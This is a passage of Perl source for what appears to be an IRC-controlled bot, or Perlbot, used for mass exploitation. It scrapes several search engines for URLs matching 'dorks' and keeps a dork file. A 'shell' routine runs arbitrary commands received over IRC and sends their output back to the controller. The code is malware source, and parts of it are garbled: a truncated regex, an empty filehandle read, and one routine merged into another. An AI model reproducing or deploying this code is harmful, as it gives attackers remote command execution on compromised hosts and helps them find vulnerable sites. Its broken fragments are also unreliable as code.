my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local");
my $res = &search_engine_query($search);
if ($res !~ m/Next/i) {$b=50;}
while ($res =~ m/]*)\"/g) {
my $link = $1;
if ($link !~ /uol\.com\.br|\/web/i){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub seznam() {
my @list;
my $key = $_[0];
for ($b=1; $b<=300; $b+=20) {
my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b);
my $res = &search_engine_query($search);
while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
my $link = $1;
if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub hotbot() {
my @list;
my $key = $_[0];
for ($b=0; $b<=50; $b+=1) {
my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key));
my $res = &search_engine_query($search);
if ($res =~ m/had no web result/i) {$b=50;}
while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) {
my $link = $1;
if ($link !~ /hotbot\.com/){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub aol() {
my @list;
my $key = $_[0];
for ($b=0; $b<=300; $b+=10) {
my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b);
my $res = &search_engine_query($search);
while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
my $link = $1;
if ($link !~ /aol\.com/){
my @grep = &links($link);
push(@list,@grep);
}
}
}
return @list;
}
sub biglobe {
my $key = $_[0];
my @list;
for ($b=1; $b<=500; $b+=10) {
$num += $num;
my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all";
my $res = &search_engine_query($search);
while ( $res =~ m/new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
my $sget = "GET $query HTTP/1.0\r\n";
$sget .= "Host: $host\r\n";
$sget .= "Accept: */*\r\n";
$sget .= "User-Agent: $uagent\r\n";
$sget .= "Connetion: Close\r\n\r\n";
print $sock $sget;
my @pages = <$sock>;
$page = "@pages";
close($sock);
};
return $page;
}
#########################################
sub shell() {
my $path = $_[0];
my $cmd = $_[1];
if ($cmd =~ /cd (.*)/) {
chdir("$1") || &msg("$path","No such file or directory");
return;
}
elsif ($pid = fork) { waitpid($pid, 0); }
else { if (fork) { exit; } else {
my @output = `$cmd 2>&1 3>&1`;
my $c = 0;
foreach my $output (@output) {
$c++;
chop $output;
&msg("$path","$output");
if ($c == 5) { $c = 0; sleep 3; }
}
exit;
}}
}
sub isAdmin() {
my $status = 0;
my $nick = $_[0];
if ($nick eq $admin) { $status = 1; }
return $status;
}
sub msg() {
return unless $#_ == 1;
sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
}
sub nick() {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub read_dorks() {
my $dork = uri_escape($_[0]);
my $file = "dorks.txt";
my $success = 0;
open (file,"<$file");
while (my $dorkx=) {
chop($dorkx);
if ($dorkx =~ /$dork/){
$success = 1;
}
}
close file;
return $success;
}
sub write_dorks() {
my $dorks = uri_escape($_[0]);
my $file = "dorks.txt";
open (filex,">>$file");
print filex $dorks."\n";
close filex;
}
sub notice() {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}}}}}